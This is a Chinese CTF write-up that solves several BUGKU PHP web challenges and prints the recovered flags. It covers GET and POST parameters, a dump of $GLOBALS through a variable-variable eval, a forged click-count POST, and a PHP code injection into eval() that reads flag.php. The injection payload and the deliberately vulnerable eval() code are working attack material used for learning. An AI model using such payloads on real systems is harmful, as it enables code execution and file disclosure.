PHP学习及WEB练习
BUGKU——php练习
WEB基础$_GET
看到一个链接:
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
也就是说要GET一个字符串“flag”才能得到flag
根据php的get用法:
在网站后做如下操作:
得到flag:
flag{bugku_get_su8kej2en}
WEB基础$_POST
看到一个链接:
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
这次是post方法,有许多post方法,你可以抓包,在burpsuite里面post
也可以直接在firefox里面做如下操作:
点击F12(这里需要一个插件hackbar)
进入hackbar
如下图
点击load URL,访问网站
然后选择 post data,在出现的框中输入,what = flag
得到flag:
flag{bugku_get_ssseint67se}
变量1
解题链接:
>http://120.24.86.145:8004/index1.php
打开后发现下面代码:
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);"); //调用两次。$($argc)
}
?>
所以可以让它调用超全局变量——GLOBALS
就可以打印所有东西:
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" }
得到flag
flag{92853051ab894a64f7865cf3c2128b34}
点击百万次
点击链接:
http://120.24.86.145:9001/test/
hints:JavaScript
看看源代码,发现这部分:
var clicks=0
$(function() {
$("#cookie")
.mousedown(function() {
$(this).width('350px').height('350px');
})
.mouseup(function() {
$(this).width('375px').height('375px');
clicks++;
$("#clickcount").text(clicks);
if(clicks >= 1000000){
var form = $('<form action="" method="post">' +
'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
'</form>');
$('body').append(form);
form.submit();
}
});
});
点击一次就会增加一次,所以post相应次数就可以得到flag,
用火狐的hackbar直接post文件
clicks与等号之间不能有空格
flag: flag{Not_C00kI3Cl1ck3r}
本地包含
打开链接:
>http://120.24.86.145:8003/
得到:
<?php
include "flag.php";
$a = @$_REQUEST['hello']; #访问表单信息
eval( "var_dump($a);");
show_source(__FILE__);
?>
知识点补充:
var_dump— 打印变量的相关信息
例子:
<?php $a = array(1, 2, array("a", "b", "c")); var_dump($a); ?>
输出结果:
array(3) { [0]=> int(1) [1]=> int(2) [2]=> array(3) { [0]=> string(1) "a" [1]=> string(1) "b" [2]=> string(1) "c" } }
file() 函数把整个文件读入一个数组中。
例子:
<?php print_r(file("test.txt")); ?>
输出:
Array ( [0] => Hello World. Testing testing! //其中文段是test.txt的内容 [1] => Another day, another line. [2] => If the array picks up this line, [3] => then is it a pickup line? )
现在就是要将flag.txt的内容弄出来:
进行构造:
http://120.24.86.145:8003/?hello=1); print_r(2
eval(“var_dump(1);print_f(2);”) // 这是实际代码
接着:
http://120.24.86.145:8003/?hello=1);print_r(file(“flag.php”)
eval(“var_dump(1);print_r(file(“flag.php”));”)
//得到php中的内容 int(1) Array ( [0] => $flag = 'Too Young Too Simple'; [2] => # echo $flag; [3] => # flag{bug-ctf-gg-99} [4] => ?> ) <?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__); ?>
flag:flag{bug-ctf-gg-99}